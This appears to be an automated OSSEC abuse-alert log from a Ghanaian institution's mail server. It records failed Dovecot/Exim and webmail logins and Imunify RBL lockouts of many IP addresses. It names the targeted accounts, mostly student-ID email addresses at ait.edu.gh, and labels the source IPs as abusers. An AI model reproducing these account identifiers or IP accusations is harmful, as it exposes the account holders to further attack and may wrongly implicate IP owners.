2025-01-29 14:49:06 dovecot_plain authenticator failed for 198-91-188-226.cpe.distributel.net [198.91.188.226]:48792: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.190.41.137
description:
Jan 29 14:49:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.190.41.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.221.104
description:
2025-01-29 14:49:15 dovecot_plain authenticator failed for ([221.10.221.104]) [221.10.221.104]:59023: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.51.186
description:
2025-01-29 14:48:55 dovecot_plain authenticator failed for ([200.149.51.186]) [200.149.51.186]:59272: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.223.49
description:
2025-01-29 14:48:57 dovecot_plain authenticator failed for ([211.105.223.49]) [211.105.223.49]:55308: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.43.253.231
description:
Jan 29 14:48:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.43.253.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.53.120.97
description:
Jan 29 14:48:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.53.120.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.107.198
description:
Jan 29 14:48:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.107.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.2.203.254
description:
2025-01-29 14:48:53 dovecot_plain authenticator failed for (hebei.2.60.in-addr.arpa) [60.2.203.254]:57055: 535 Incorrect authentication data (set_id=ads09a99033y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.59.167.111
description:
Jan 29 14:48:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.59.167.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.87.86
description:
Jan 29 14:49:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.87.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
description:
2025-01-29 14:49:10 dovecot_plain authenticator failed for ([196.189.126.185]) [196.189.126.185]:57978: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.66.222
description:
2025-01-29 14:49:14 dovecot_plain authenticator failed for ([31.173.66.222]) [31.173.66.222]:47040: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.45.236.182
description:
2025-01-29 14:49:16 dovecot_plain authenticator failed for ([27.45.236.182]) [27.45.236.182]:55024: 535 Incorrect authentication data (set_id=ads80a99909y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.124.42.85
description:
2025-01-29 14:48:23 dovecot_plain authenticator failed for ([203.124.42.85]) [203.124.42.85]:39338: 535 Incorrect authentication data (set_id=ofei@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.86.75
description:
[2025-01-29 14:48:38 +0100] info [webmaild] 213.230.86.75 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.197.178.220
description:
2025-01-29 14:48:55 dovecot_plain authenticator failed for ([120.197.178.220]) [120.197.178.220]:49112: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.46.185.130
description:
2025-01-29 14:48:59 dovecot_plain authenticator failed for ([59.46.185.130]) [59.46.185.130]:43515: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
description:
2025-01-29 14:48:57 dovecot_plain authenticator failed for ([220.93.167.144]) [220.93.167.144]:45244: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.48.197
description:
Jan 29 14:49:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.48.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.189.124.62
description:
2025-01-29 14:49:13 dovecot_plain authenticator failed for ([203.189.124.62]) [203.189.124.62]:45837: 535 Incorrect authentication data (set_id=ads21a00028y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.49.167.162
description:
Jan 29 14:49:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.49.167.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.210.27.53
description:
2025-01-29 14:49:19 dovecot_plain authenticator failed for ([223.210.27.53]) [223.210.27.53]:41846: 535 Incorrect authentication data (set_id=ads21b00202y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.232.88.63
description:
2025-01-29 14:49:25 dovecot_plain authenticator failed for 133.232.88.63.static.zoot.jp [133.232.88.63]:52303: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.34.192.68
description:
2025-01-29 14:49:52 dovecot_plain authenticator failed for ([58.34.192.68]) [58.34.192.68]:58080: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.155.16.231
description:
2025-01-29 14:49:20 dovecot_plain authenticator failed for ([121.155.16.231]) [121.155.16.231]:35399: 535 Incorrect authentication data (set_id=ads19a00027y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.51.242.119
description:
2025-01-29 14:49:31 dovecot_plain authenticator failed for ([58.244.99.85]) [119.51.242.119]:58220: 535 Incorrect authentication data (set_id=ads19b00282y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.151.148
description:
2025-01-29 14:49:22 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.151.148]:33041: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
description:
2025-01-29 14:49:24 dovecot_plain authenticator failed for ([221.199.172.66]) [221.199.172.66]:60774: 535 Incorrect authentication data (set_id=ads06a99959y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.49.167.162
description:
2025-01-29 14:49:19 dovecot_plain authenticator failed for (l49-167-162.novotelecom.ru) [178.49.167.162]:60464: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.199.209.60
description:
2025-01-29 14:49:43 dovecot_plain authenticator failed for (ws60-209.199.103.rcil.gov.in) [103.199.209.60]:45586: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.34.192.68
description:
Jan 29 14:49:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.34.192.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.75.98.134
description:
2025-01-29 14:50:00 dovecot_plain authenticator failed for ([138.75.98.134]) [138.75.98.134]:56735: 535 Incorrect authentication data (set_id=ads30b00480y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.22.46
description:
Jan 29 14:49:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.22.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
description:
2025-01-29 14:49:31 dovecot_plain authenticator failed for ([220.95.14.102]) [220.95.14.102]:35150: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.161.140.54
description:
2025-01-29 14:49:38 dovecot_plain authenticator failed for ([195.161.140.54]) [195.161.140.54]:38565: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.93.22.46
description:
2025-01-29 14:49:23 dovecot_plain authenticator failed for (189-108-97-55.customer.tdatabrasil.net.br) [187.93.22.46]:54845: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.132.125.226
description:
2025-01-29 14:49:24 dovecot_plain authenticator failed for ip79-132-125-226.ulk.host.ttk.ru [79.132.125.226]:55746: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.75.98.134
description:
Jan 29 14:49:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.75.98.134 has been locked due to Imunify RBL


